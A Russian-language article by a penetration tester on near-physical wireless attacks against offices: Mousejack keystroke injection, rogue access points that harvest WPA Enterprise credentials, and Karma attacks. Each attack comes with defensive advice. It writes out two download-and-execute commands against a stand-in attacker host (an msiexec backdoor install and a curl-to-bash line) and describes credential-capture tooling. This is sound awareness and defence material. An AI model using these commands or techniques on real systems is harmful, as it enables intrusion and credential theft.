Ваш офис уже взломали, а вы не знаете. Три способа, которыми хакеры обходят защиту за 5 минут

Не удалось прогрузить медиа

Пока большинство компаний фокусируется на защите от интернет-атак, реальные злоумышленники уже давно поняли, что самый простой способ взломать корпоративную сеть — это подойти к офису на расстояние Wi-Fi сигнала. Андрей Жуков, пентестер с восьмилетним опытом, один из ведущих экспертов ИТ-компании УЦСБ, разбирает три малоизвестных, но чрезвычайно опасных приема: Mousejack (взлом беспроводных мышей), перехват учеток в WPA Enterprise и «клиентскую» атаку Karma. На реальных кейсах он показывает, как некоторые из этих техник дают доступ во внутреннюю сеть за секунды, и объясняет, что нужно сделать, чтобы подобный сценарий не повторился в вашей компании.

Три среды хакерских атак​

За годы практики я выделил три основные среды, в которых могут происходить атаки:


Среды хакерских атак

Интернет — это то, с чем знакомо большинство специалистов по информационной безопасности. Здесь злоумышленник может находиться в любой точке планеты, «сидя на диване», и атаковать цель удаленно через веб-атаки, сканеры и социальную инженерию.

Интранет — корпоративные и локальные сети компаний с их специфическими векторами атак: Active Directory, MiTM-атаки, эксплуатация доверительных отношений между системами.

Физический/околофизический доступ — когда злоумышленник находится рядом. Именно здесь кроется наибольшая опасность, о которой большинство компаний даже не подозревает.

Что такое физический пентест и зачем он нужен​

Физический пентест — это оценка защищенности компании в ситуации, когда появляются настолько мотивированные злоумышленники, что они готовы приехать к офису этой компании и находиться в радиусе действия беспроводных устройств, а может быть даже еще ближе.

Почему это критично? Потому что такая близость к цели открывает для злоумышленников целый перечень атак, причем весьма серьезных. Эти атаки кардинально отличаются от того, что можно сделать удаленно через интернет.

Классификация по степени близости: физические vs физические безконтактные атаки​

Я ввел понятие «околофизического доступа» для структуризации всех этих атак. 

Бесконтактный физический доступ — это атаки, которые не требуют непосредственного физического доступа до цели и могут производиться на некотором расстоянии. Это расстояние сильно ограничено — обычно до 100 метров. 

Атаки, которые происходят в радиоэфире (wi-fi и NRF (беспроводные мышки), bluetooth, zigbee, z-wave, lora (потом валидировать слова)) практически никак не мониторятся и не детектятся. 

Их сложно детектить и превентивных мер к таким атакам нет.

Здесь я не согласен с метрикой CVSS, которая оценивает атаки на Wi-Fi как «network access vector». Веб я могу атаковать из любой точки планеты, сидя на диване, применяя даже средства анонимности. С околофизическими атаками я ограничен теми же рамками, что и при физических атаках — не очень удобными точками проведения.

Физические атаки присущи главным образом внутреннему нарушителю, который уже находится внутри периметра. Околофизические атаки доступны внешнему нарушителю, и от этого они наиболее опасны.

Мифы о «неприступности» современных систем​

Многие компании считают себя «супер защищенными» — у них отличный внешний периметр, все обновления установлены, антивирусы работают. Но они не учитывают один фактор: когда злоумышленник готов «встать с дивана» и приехать к офису, игра переходит на совершенно новый уровень.

Этот разрыв в восприятии безопасности и реальной уязвимости — ключевой момент. Злоумышленник, находящийся рядом, атакует не операционную систему, а ее компоненты: USB-порты, радиомодули беспроводных устройств. Для таких атак неважно, заблокирован ли экран или зашифрован диск — они работают на более низком, аппаратном уровне.

Заблокированный компьютер с зашифрованным диском — это не препятствие для физических атак. Более того, многие атаки работают именно на заблокированных системах, поскольку пользователь не видит, что происходит.

Почему физические атаки так эффективны​

В отличие от интернет-атак, где злоумышленник ограничен тем, что «видит» через сеть, физический доступ открывает прямой путь к:

• Оперативной памяти — где хранятся пароли, ключи шифрования и другие секреты.
• USB-портам — через которые можно внедрить команды или проводить сетевые атаки.
• Сетевым кабелям — для перехвата трафика без разрыва соединения.
• Беспроводной периферии — мышкам и клавиатурам, которые можно взломать иногда за секунды.

Большинство IT-отделов даже не подозревает об этих угрозах. Они готовы к атакам через интернет, но не готовы к тому, что злоумышленник может подойти к зданию с обычным смартфоном и получить доступ к корпоративной сети быстрее, чем сотрудник службы безопасности успеет среагировать.

Приоритизация целей околофизических атак​

Прежде чем говорить про конкретные атаки, важно понимать, что нужно атаковать по степени важности.

Корпоративные официальные точки доступа (высший приоритет)​

Признаки корпоративных сетей:

• Имена сетей типа «Corp» или названия компаний.
• Метод аутентификации WPA Enterprise (никогда не встречается в квартирах).
• MAC-адреса от корпоративных вендоров (Cisco = корпорация, а не домашняя сеть).

Не удалось прогрузить медиа

Почему WPA Enterprise так популярен в корпоративном сегменте:

• У каждого пользователя свой индивидуальный пароль.
• Интеграция с доменной инфраструктурой.
• При увольнении сотрудника блокируется только его учетка, не нужно менять общий пароль.

Открытые гостевые сети​

Официальные точки доступа без пароля могут представлять собой точку входа в периметр компании и требуют особого внимания при тестировании.

Второстепенные точки доступа​

Технические и тестовые сети:

• Сети для переговорных комнат.
• VIP-сети с ослабленными политиками безопасности.
• Сети для технологических процессов.
• Неиспользуемые широко сотрудниками, но находящиеся в инфраструктуре.

Несанкционированные «личные» сети​

В компаниях со строгой политикой безопасности, запрещающей выход в интернет со служебных компьютеров, количество несанкционированных беспроводных сетей, раздаваемых самими сотрудниками, как правило, велико.

Сразу поделюсь кейсом: Человек на строгом режимном объекте, где был туго с интернетом, раздавал интернет коллегам. Злоумышленник подключился к этой сети, получил хэш пароля, легко подобрал к нему пароль и получил доступ.
Далее через NetBIOS-запросы было обнаружено, что у скомпрометированного компьютера две сетевые карты: одна смотрит в интернет, а другая — в локальную корпоративную сеть. Таким образом, злоумышленник получил прямой доступ во внутреннюю инфраструктуру режимного объекта через «самопальную» сеть сотрудника.
Среди сотен беспроводных сетей можно быстро выявить такие сети, анализируя время их работы. Корпоративные точки доступа работают круглосуточно без перерывов, их аптайм составляет недели или месяцы со стабильным временем работы. Несанкционированные сети имеют короткий аптайм — от часа до дня, часто перезапускаются, когда сотрудник включает или выключает раздачу с телефона. 

Этот метод позволяет пентестеру быстро выявлять потенциально интересные цели среди множества беспроводных сетей. 

Клиентские устройства​

Помимо точек доступа, важными целями для околофизических атак являются клиентские устройства, подключенные к беспроводным сетям: IP-камеры, умные телевизоры, принтеры, системы климат контроля.

Практический совет: Где бы злоумышленник ни находился, он, как правило, увидит 100-200 Wi-Fi точек. Даже крупные IT-компании, которые должны знать об этих угрозах, реально не всегда понимают масштаб своей беспроводной инфраструктуры.

Эта приоритизация позволяет пентестеру эффективно распределить время и ресурсы при проведении околофизических атак, начиная с наиболее перспективных целей.

Раскроем самые опасные из малоизвестных, на которые стоит обратить внимание. Осведомленность — одна из мер защиты.

Mousejack: когда беспроводная мышь становится троянским конем​

Эта уязвимость была открыта еще в 2016, но до сих пор остается незамеченной, при том что обладает высочайшим импактом. Mousejack — атака на беспроводные периферийные устройства (мыши и клавиатуры) — позволяет злоумышленнику получить полный контроль над компьютером за 1-2 секунды без взлома паролей или эксплуатации программных уязвимостей. 


Источник видео: What is MouseJack? - Bastille 

Уязвимость кроется в беспроводном протоколе чипов nRF24L01+, используемом в 90% беспроводных устройств. Ключевые особенности:

• Отсутствие шифрования — данные передаются в открытом виде.
• Подмена MAC-адресов — злоумышленник имитирует легитимное устройство.
• Радиус действия до 100 метров — через стены и стеклопакеты.

Подвержены атаке устройства Dell, Gygabyte, HP, Lenovo, Logitech, Microsoft. Полный список устройств в зоне риска найдете на mousejack.com.

Атаки на беспроводные HID-устройства, такие как мыши и клавиатуры, — это одни из самых впечатляющих и опасных техник, которые позволяют получить контроль над целевым компьютером буквально за пару секунд. Их уникальность в том, что для успешной эксплуатации не требуется ни подбора паролей, ни участия пользователя: достаточно оказаться в радиусе действия радиоканала и отправить нужную последовательность нажатий клавиш — и на целевой машине уже выполняется произвольный код.

Для эксплуатации уязвимости достаточно радиомодуля CrazyRadio PA или бюджетного аналога и любого одноплатного компьютера — например, Raspberry Pi Zero W или Android телефона. Варианты старта атаки для одноплатного компьютера:

Поскольку злоумышленник заранее не располагает информацией о MAC-адресах беспроводных периферийных устройств в зоне действия, ему приходится применять массовую атаку на все обнаруженные радиосигналы. Именно для этого в параметрах запуска используется параметр autopwn, обеспечивающий автоматическое сканирование и одновременную эксплуатацию всех доступных целей. 



Комбинация CrazyRadio PA и одноплатного ПК создает одно из наиболее опасных атакующих устройств.


Рис. Соединение CrazyRadio PA и Wi-Fi Pineapple 

Дрон, оснащенный подобной системой, способен преодолеть защитный периметр практически любого предприятия — от небольших офисов до крупных промышленных объектов. Во время полета дрон непрерывно сканирует радиоэфир и автоматически атакует все обнаруженные беспроводные устройства: от мышек и клавиатур до точек доступа Wi-Fi и IoT-устройств.


Рис. Дрон оснащенный CrazyRadio PA и Wi-Fi Pineapple 

Такой подход позволяет злоумышленнику:

• Масштабировать атаки — одновременное воздействие на десятки устройств.
• Минимизировать риски — отсутствие физического присутствия человека.
• Преодолевать барьеры — заборы, охрана, системы видеонаблюдения становятся неэффективными.

Реализация атак Mousejack имеет много общего с техникой BadUSB HID, поскольку в обоих случаях мы имитируем нажатия клавиш. Поэтому злоумышленник сталкивается с теми же техническими сложностями. Главная головная боль — угадать, какая раскладка включена на компьютере жертвы. Команда cmd на русской раскладке превратится в сьв, и атака провалится.

Некоторые пытаются обойти проблему раскладок через ALT-коды (ввод символов по числовым значениям), но это создает новые сложности. ALT-коды работают только на Windows, нужно угадать, включен ли NumLock, и требуют в 3-4 раза больше нажатий. На практике приходится отправлять команды дважды — сначала для одной раскладки, потом переключить и повторить. Это увеличивает время атаки, но повышает шансы на успех.

Далее можно использовать универсальные команды вроде Win+R, которая работает на любой раскладке, msiexec, которую понимает любая Windows, и /quiet для скрытой установки без отображения окон. Элегантность решения часто важнее его изощренности — в Mousejack, как и везде, побеждает тот, кто выбирает простой и надежный путь.

Пример отправки самих клавиш, вместо их кодов:


Поскольку Mousejack использует радиоканал для передачи команд, система подвержена воздействию помех. Чем длиннее набираемая команда, тем выше вероятность, что отдельные символы «не долетят» до цели. Достаточно одной ошибки в передаче, чтобы команда удаленного выполнения кода не сработала.

Для Windows используется уже знакомая нам команда msiexec, встроенная в любую версию операционной системы и способная одним действием скачать и запустить программу удаленного управления:

msiexec /i http://attacker.tk/backdoor.msi /quiet

В UNIX-системах злоумышленник может применить команду:
curl -L http://rce.attacker.tk/1.sh|bash

Успешность зависит от двух ключевых моментов: мастерства управления дроном и наличия беспроводных мышек в радиусе 10-15 метров от устройства. Одноплатный ПК на дроне автоматически пытается взломать каждый компьютер, как только обнаруживает радиосигнал от новой мышки или клавиатуры поблизости.

Эффект этой атаки делает ее похожей на сцены из фильмов или игр про хакеров, где взлом с помощью дрона происходит за считанные секунды. В реальном мире большинство стереотипов о хакерских возможностях имеет мало общего с действительностью, но Mousejack — одна из немногих атак, которая в жизни выглядит точно так же, как на экране, а возможно, даже опаснее! Автоматизация и скорость выполнения действительно позволяют скомпрометировать системы практически мгновенно, что делает эту технику особенно зрелищной и эффективной.


Скрин из игры Watch Dogs — взлом дроном

Представьте себе обычный рабочий день. Вы сидите в офисе на верхнем этаже, далеко от охраняемого периметра, уверенные в полной безопасности. Внешний нарушитель физически не может до вас добраться — кажется логичным, правда?

Но вот к окну подлетает небольшой квадрокоптер. За одну секунду он запускает вредоносный код на вашем компьютере через беспроводную мышь. Вы либо вообще не замечаете дрон, либо смотрите на него с любопытством, не подозревая об атаке. На долю секунды на экране мелькает окно «Выполнить», но кто обратит на это внимание?

Дрон выполняет двойную функцию: отвлекает внимание и одновременно проводит атаку. Пока вы удивленно смотрите в окно, на компьютере уже скачивается и запускается backdoor. Через пару минут злоумышленник может тестировать эксплойты на серверах вашей компании.

Ирония ситуации: беспроводные мыши чаще всего используют IT-персонал и руководители — самые ценные цели для атакующих. Скомпрометированный компьютер доменного администратора означает мгновенное развитие атаки во внутренней сети. Рабочий стол начальника с конфиденциальными документами — тоже отличный трофей.

Для успешной атаки нужен выход в интернет с атакуемого компьютера — это позволяет скачать backdoor с управляющего сервера. В корпоративных сетях прямые соединения часто заблокированы, но DNS-каналы работают практически всегда.

Злоумышленник может использовать VBS-скрипт для загрузки программ через DNS — это стандартная возможность любой Windows. Правда, размер команды в окне «Выполнить» ограничен, поэтому требуется минимум три команды для полной загрузки средства удаленного управления.

Результат: за считанные минуты внешний периметр пробит, злоумышленник получает доступ к корпоративной сети, и игра переходит на новое поле — теперь он внутри вашей инфраструктуры.

Как показывает практика, большинство компаний даже не рассматривают подобные сценарии в своих моделях угроз. А между тем, стоимость такой атаки — всего несколько тысяч рублей за дрон и радиомодуль.




В процессе атаки злоумышленник получает три подтверждающих сигнала (DNS-запроса), которые работают как «чек-лист» успешности операции. Каждый сигнал соответствует этапу внедрения вредоносного кода: загрузка, установка, активация backdoor. Это похоже на систему самодиагностики — если все три отстука пришли, атакующий понимает, что компьютер скомпрометирован.

Mousejack — идеальный пример того, как минимальные усилия дают максимальный результат. Для взлома не нужны дорогие инструменты и, в ряде случаев, дроны (хотя они усиливают эффект). 

Почему уязвимость живуча

1. Аппаратная природа — проблема в чипе nRF24L01+, а не в ПО.
2. Цикл замены устройств — средний срок службы мыши 2-5 лет и 5-10 лет у клавиатуры.
3. Многие уверены, что их офис «недоступен с улицы».

Что делать?

• Отказаться от периферии с чипами nRF24L01+ в пользу устройств с Bluetooth 5.1+ и AES-шифрованием, либо взять проводные устройства.
• Ограничьте зоны использования беспроводных устройств в радиусе 50 м от критичных объектов.
• Проводите регулярные пентесты физических и околофизических атак, аудиты безопасности и обучение сотрудников по распознаванию подозрительных устройств.

Атаки на WPA Enterprise: когда корпоративная сеть становится уязвимой​

WPA Enterprise, стандарт для корпоративных сетей, использует протокол EAP (Extensible Authentication Protocol) для аутентификации устройств. Однако в его реализации есть несколько слабых механизмов: учетные данные передаются в незашифрованном виде или в форме слабых хешей, что позволяет злоумышленнику заполучить их даже без участия пользователя. Это так называемая zero-click атака, где жертва не подозревает о компрометации.

Для атаки на защищенные корпоративные сети злоумышленники используют специальную программу hostapd-wpe. Ее задача — создать поддельную точку доступа, которая выглядит как легитимная корпоративная сеть.

Программа делает две ключевые вещи:

1. Подробно записывает все данные при попытках подключения, даже если они зашифрованы.
2. Предлагает клиентскому устройству последовательно варианты передачи пароля от устаревших и небезопасных к более защищенным, чтобы устройство сотрудника «клюнуло» на эту уловку и выбрало слабый метод. 

В случае подключения злоумышленник мгновенно получает либо пароль в чистом виде, либо его зашифрованную версию, которую можно быстро взломать.



Представьте: сотрудник выходит из офиса, смартфон автоматически ищет знакомую корпоративную сеть. В этот момент одноплатный ПК — устройство размером с ладонь — имитирует «родную» точку доступа компании. 

Для ускорения процесса злоумышленник использует скрипт deauth.sh, который массово отключает устройства от легитимного Wi-Fi. Гаджеты, как голодные птенцы, начинают искать новое подключение — и попадают в ловушку.



Что можно украсть за 30 секунд

• Пароль в открытом виде — если сеть использует устаревший метод GTC.
• Хеш NetNTLMv1 — при аутентификации через MSCHAPv2. Его можно взломать за 2-4 часа на обычном компьютере (против месяцев для WPA-PSK).
• Доменные учетные данные — логин и пароль сотрудника, которые открывают доступ к внутренним ресурсам компании.

Главный вход в офис — это практически идеальная точка для размещения хакерского гаджета. Через этот проход за короткое время проходят сотни сотрудников, и именно здесь их устройства чаще всего теряют сигнал корпоративного Wi-Fi. В такой ситуации большинство смартфонов и ноутбуков автоматически попытаются подключиться к знакомой сети, не подозревая, что на самом деле попадают в ловушку поддельной точки доступа.



На рис. одноплатный ПК (аналог pineapple) размещен возле входной группы офиса компании, чтобы поймать корпоративные учетные данные сотрудников

В результате злоумышленник получает поток учетных данных, которые открывают ему двери во внутреннюю инфраструктуру компании. Защита от подобных атак требует не только технических мер, но и внимательности сотрудников: важно отключать Wi-Fi при выходе из офиса и регулярно обновлять настройки безопасности корпоративных сетей. Только так можно минимизировать риск того, что обычный проход через турникет станет началом серьезного инцидента ИБ.

Так как данная атака достаточно быстрая, то её можно провести со смартфона. Для атаки используется модифицированный hostapd-wpe — инструмент, создающий поддельную точку доступа с корпоративным SSID. Чтобы привлечь жертв, он применяет глушение сигналов легитимных точек доступа — устройства сотрудников, потеряв связь с «родной» сетью, автоматически подключаются к фальшивой. 


Рис. Атака сети WPA Enterprise со смартфона

Ключевая особенность: Учетные данные передаются без участия пользователя. Даже если сотрудник позже вручную введет пароль, его устройство уже успеет отправить сохраненные данные злоумышленнику.

Пример скрипта для запуска:



На одном из корпоративных мероприятий, где собрались почти все сотрудники компании, я решил провести эксперимент по безопасности беспроводных сетей. В помещении было несколько сотен человек, и практически каждый из них пришел с личным смартфоном или ноутбуком. Я развернул поддельную точку доступа, имитирующую корпоративную Wi-Fi сеть, и всего за пару часов получил десятки хешей и паролей, причем среди них оказались даже учетные данные доменных администраторов.


Рис. Пример атаки на корпоративную сеть

Если бы на моем месте был не пентестер, а реальный злоумышленник, последствия могли бы быть катастрофическими: с такими доступами можно было бы быстро захватить контроль над всей IT-инфраструктурой компании, получить доступ к конфиденциальным данным и нанести серьезный ущерб бизнесу.

Главная проблема таких атак в том, что под удар попадают именно клиентские устройства — смартфоны и ноутбуки сотрудников. Они автоматически подключаются к знакомой сети и отправляют свои учетные данные, если сеть настроена небезопасно. Даже если компания обновит настройки Wi-Fi и перейдет на более защищенные протоколы, устройства сотрудников еще долго будут хранить старые параметры и оставаться уязвимыми. Особенно если новая сеть получила другое имя, а старая все еще «жива» в памяти гаджетов.

Это делает защиту от подобных атак крайне сложной: угроза сохраняется даже после обновления инфраструктуры, и единственный способ полностью закрыть этот вектор — убедиться, что все устройства забыли старую сеть и используют только актуальные, защищенные настройки.

Чтобы минимизировать этот риск важно не только обновлять оборудование, но и пересматривать подходы к безопасности на всех уровнях. Вот что действительно работает:

• Используйте только современные протоколы аутентификации (например, EAP-TLS) и запрещайте устаревшие методы, такие как MSCHAPv2 и GTC.
• Регулярно обновляйте настройки корпоративных точек доступа и проводите аудит сохраненных сетей на устройствах сотрудников.
• Обучайте персонал отключать Wi-Fi вне офиса и не сохранять корпоративные сети на личных гаджетах.
• Внедряйте мониторинг аномалий в беспроводной инфраструктуре, чтобы быстро выявлять подозрительные подключения и поддельные точки доступа.
• После смены настроек безопасности убедитесь, что все устройства забыли старые небезопасные сети и подключаются только к новым, защищенным.

Только комплексный подход, сочетающий технические меры и грамотное обучение сотрудников, позволяет по-настоящему защитить компанию от современных беспроводных атак.

Атака Karma: когда устройство само «приходит» к хакеру​

Любой смартфон, ноутбук или IP-камера, у которых включен Wi-Fi, ведут себя следующим образом: если рядом нет привычной сети, они раз в несколько секунд спрашивают в эфире – «есть ли здесь Home, Office или CoffeeShop?» Этот список сохраненных имен называется Preferred Network List. Устройства рассылают его открыто, без шифрования, поэтому любой желающий может подслушать запрос.

Именно этим «поисковым инстинктом» и пользуется злоумышленник, превращая вашу собственную технику в добровольного проводника атаки.
Хакер слушает эфир и, заметив такой SSID, мгновенно поднимает точку доступа с тем же именем. Устройство видит «родную» сеть, автоматически соединяется и начинает посылать весь трафик через злоумышленника. С этого момента атакующий получает те же возможности, что и при проводной BadUSB-eth-атаке, но без физического контакта — все идет по радиоканалу.

А дальше все просто:

• Если подключается ноутбук, можно попытаться взломать его сервисы или подобрать учетные данные через образовавшийся сетевой канал.
• Смартфон тут же отправит в сеть десятки запросов от приложений: карты, мессенджеры, облачные бэкапы. Достаточно одного клиента, который не проверяет сертификаты должным образом, — и конфиденциальные данные уходят в открытом виде.
• С IP-камерой или принтером атакующий может также напрямую взаимодействовать, например получая видео-поток или изменяя настройки устройства.

рис. Векторы атак на клиентское устройство — notebook


рис. Векторы атак на клиентское устройство — mobile phone


рис. Векторы атак на клиентское устройство — printer

рис. Векторы атак на клиентское устройство — IP-camera

Так как многие IoT-платы строятся на дешевых SoC с уже встроенным Wi-Fi, количество потенциальных «жертв» трудно подсчитать: техника просто молчит и ждет «знакомую» сеть, делая атаку почти невидимой.

Практически Karma реализуют двумя способами. Первый — на каждое входящее Probe-запрос устройство поднимает полноценную точку доступа с нужным именем; метод прост, но требует двух радио-интерфейсов и обслуживает только один SSID одновременно. Второй — точка доступа остается запущенной одна, а на каждый запрос отвечает лишь корректным Probe-response (при необходимости добавляя несколько beacon-кадров). Эта схема поддерживается пропатченной версией hostapd-mana и работает даже без мониторного режима: сетевой адаптер остается в обычном состоянии, а о существовании «ловушки» узнает только тот клиент, которому адресован ответ. Если же дополнительно рассылать beacon-пакеты всем подряд, атака становится заметнее («Loud Karma»), но охватывает устройства, требующие классического объявления сети.

Опасность Karma в том, что защищаться от нее непросто: чтобы анализировать запросы от клиентских устройств нужно уже специальное ПО и сетевые карты.

Открытые сети (OPN): «Открытый Wi-Fi: MiTM-канал через DHCP»​

Атака Karma в открытой сети дает злоумышленнику полноценный сетевой канал с клиентом. Через DHCP-настройки он перенаправляет трафик жертвы на себя. С такого положения можно запускать как простые сетевые сканы, так и более сложные MiTM-сценарии.


Скрипт разворачивает три компонента: точку доступа hostapd-mana, DHCP-сервер и «движок» атак (attack.sh). Hostapd-mana работает «из коробки», а пример конфигурации DHCP выглядит так:


Последние две опции повторяют прием из BadUSB-eth: они делают Wi-Fi-маршрут приоритетным и переводят трафик других интерфейсов на атакующего, что дает как дополнительный сбор данных, так и вероятный отказ сервисов на других сетях.
«Движок» реагирует на появление новых клиентов и запускает набор атакующих скриптов:

Не удалось прогрузить медиа

Таким образом, подключившееся устройство сразу попадает под автоматический набор атак: от NetBIOS-утечек и PoisonTap до подмены SSL-трафика.
Примеры дополнительных сценариев, которые может вызывать движок:
Захват небезопасных обновлений:

Не удалось прогрузить медиа

Скан открытых портов

Проверка IP-камеры на RTSP-поток

Не удалось прогрузить медиа

При массовом подключении устройств (на фотографии ниже) видно, как первая часть экрана фиксирует ассоциацию клиентов, вторая выдает им DHCP-настройки, а третья запускает автоматические атаки — например, обнаруживает IP-камеру с открытым портом 554/TCP, откуда часто можно получить видеопоток без пароля. Если камерам выдать «неправильный» маршрут, они перестанут быть доступными по проводу, вызывая неожиданный «мистический» отказ на посту охраны.


Рис. Атака Karma через открытую сеть

Karma-подход мобильный и почти не заметен: смартфон в руке атакующего оказывается полноценным центром атак, видя результаты в реальном времени и поочередно обрабатывая каждое подключившееся устройство.

Закрытые сети WPA: «WPA-Handshake: добыча паролей из Half-Handshake»​

Karma-атака возможна и против закрытых сетей WPA, но логика немного другая. Пароля точки доступа у злоумышленника нет, поэтому расшифровать поток и начать полноценный обмен данными не выйдет. Зато клиент все равно пришлет Half Handshake. Этого достаточно, чтобы методом брутфорса восстановить сохраненный пароль сети.


Первая часть запускает hcxdumptool: утилита слушает эфир, отвечает на Probe-запросы Probe-ответами и сразу же отправляет клиенту EAPOL M1. Устройство отвечает кадром M2, и этот фрагмент Handshake сохраняется в pcap. «Настоящую» точку доступа поднимать не нужно — вся обработка идет в монитор режиме карты.
Вторая часть скрипта перебирает пароль по словарю.



Рис. Атака Karma через беспроводную сеть WPA


Рис. Атака с телефона из игры Watch Dogs

Итоговый пароль позволяет уже поднять обычную точку доступа WPA и взять трафик жертвы под контроль. В приведенном примере выше смартфон отправил Half-Handshake, пароль был найден подбором через словарь, после чего запустилась полноценная «домашняя» сеть с тем же SSID, а телефон автоматически подключился.

Подобное соединение открывает дорогу для сценариев вроде показанного в Watch Dogs. Если злоумышленник внедрит поддельный корневой сертификат, он сможет расшифровать HTTPS-трафик Play Market, тихо загрузить троян и дальше вытягивать банковские данные пользователя — сам взлом займет секунды, а последствия будут серьезными.

Скрытые WPA Enterprise: «Karma + EAP — доменные учётки без знания SSID»​

Обычная EAP-атака на WPA Enterprise требует, чтобы злоумышленник заранее знал SSID корпоративного Wi-Fi и поднял точку доступа с тем же именем. Если сеть неизвестна ему, такой прием не сработает. Karma решает эту проблему: инструмент просто отвечает на любой Probe Request, который слышит в эфире, «подтверждая», что нужная сеть здесь есть. Дальше все происходит так же, как в классическом сценарии атаки на WPA Enterprise: устройство пытается авторизоваться по уязвимым методам GTC или MSCHAPv2, а атакующий получает логин и пароль (или NetNTLM-хеш).

Минимальная настройка:


В конфигурации hostapd-eaphammer достаточно включить две директивы:


Специальный hostapd теперь автоматически шлет Probe-response и Beacon с тем именем, которое запрашивает клиент. Смартфон или ноутбук решает, что «родная» корпоративная сеть нашлась, и без участия пользователя отправляет учетные данные. На фото — демонстрация этого процесса на стенде.


Рис. Zero-click утечка учетных данных на смартфон атакующего (лабораторный стенд)

Такой прием работает везде, где есть плотный поток людей: холл бизнес-центра, вокзал, метро. Атакующему не нужно знать название сети — достаточно оказаться рядом и слушать эфир. За пару часов можно собрать десятки доменных логинов как небольших фирм, так и крупных корпораций, причем событие никак не фиксируется средствами защиты.

Karma-атака остается динамичной, потому что нацелена на постоянно перемещающиеся клиентские устройства. Сработает она не каждый раз: чем больше людей и гаджетов вокруг, тем выше шанс подключения. Хотя большая часть действий автоматизирована, злоумышленник все равно может вручную взаимодействовать с выявленным устройством. Первичные тесты — например, определение типа клиента и поиск самых простых уязвимостей — легко выполнять со смартфона. Для длительного контроля над найденной целью, скажем IP-камерой на периметре объекта, практичнее оставить рядом Pineapple, связанный с оператором через 4G-VPN; такое «залегшее» устройство позволяет удаленно проводить продолжительные и более сложные атаки:



Так Pineapple, незаметно спрятанный рядом с периметром, становится мостом в сеть: злоумышленник видит клиентов в реальном времени и развивает более сложные сценарии — например, против IP-камер, о которых говорилось в предыдущих разделах.
Почти двадцать лет прошло с момента описания Karma, но комбинация с EAP-уязвимостями по-прежнему остается одним из самых надежных способов получить доменные учетки в корпоративной сети, даже если сотрудник просто идет мимо с телефоном в кармане.

В любом офисе гаджеты сотрудников и IoT-оборудование непрерывно «прощупывают» эфир, ищут знакомые SSID и тем самым открывают дверь для Karma-атак. Полностью убрать риск, увы, невозможно: Wi-Fi встроен в камеры, терминалы, станки, а их радио-модули нередко нельзя отключить. Но снизить вероятность утечки вполне реально, если смотреть на проблему шире, чем просто «сменить пароль».

• Выключайте Wi-Fi там, где он не нужен. На ноутбуках и смартфонах достаточно перевести интерфейс в авиарежим или удалить из памяти корпоративный SSID, чтобы устройства перестали рассыпать Probe Request-кадры.
• Для устройств с «неотключаемым» модулем (IP-камеры, принтеры, контроллеры) ограничьте зону покрытия самой сети: антенны с более узкой диаграммой направленности, экранирующие пленки на окнах, минимальная мощность передатчиков. Чем меньше радиус, тем труднее злоумышленнику встать в нужную точку.
• То оборудование, которое вынужденно работает за периметром или покрывает улицу, держите под отдельным VLAN, обновляйте прошивки и устанавливайте сложные, уникальные пароли — тогда даже успешное подключение к «ловушке» не даст шагнуть во внутренний сегмент.
• Запланируйте регулярные пентесты с фокусом на Wi-Fi: внешняя команда проверит PNL-списки сотрудников, выявит утечку SSID и смоделирует Karma-сценарии до того, как это сделает реальный атакующий.

Физические и околофизические атаки выводят информационную безопасность за рамки привычного «сетевого» контекста: сегодня корпоративную инфраструктуру могут взломать не удаленно через интернет, а стоя под окнами офиса или даже проходя мимо с обычным смартфоном. Mousejack, уязвимость WPA Enterprise и техника Karma демонстрируют, что радиоканал остается слабым звеном: беспроводная мышь, точка доступа или «молчащий» IoT-датчик могут открыть хакеру прямой путь к внутренним серверам и доменным учеткам за считанные секунды.

Защита от таких сценариев требует менять подход: контролировать мощность и зону покрытия Wi-Fi, регулярно аудировать устаревшие SSID на устройствах, переходить на EAP-TLS, избавляться от периферии на nRF24L01+, а главное — включать околофизические атаки в плановый пентест. Только сочетая технические меры с постоянным обучением сотрудников, компания может закрыть этот «невидимый» периметр и не дать случайному дрону или смартфону превратиться в ключ от всей сети.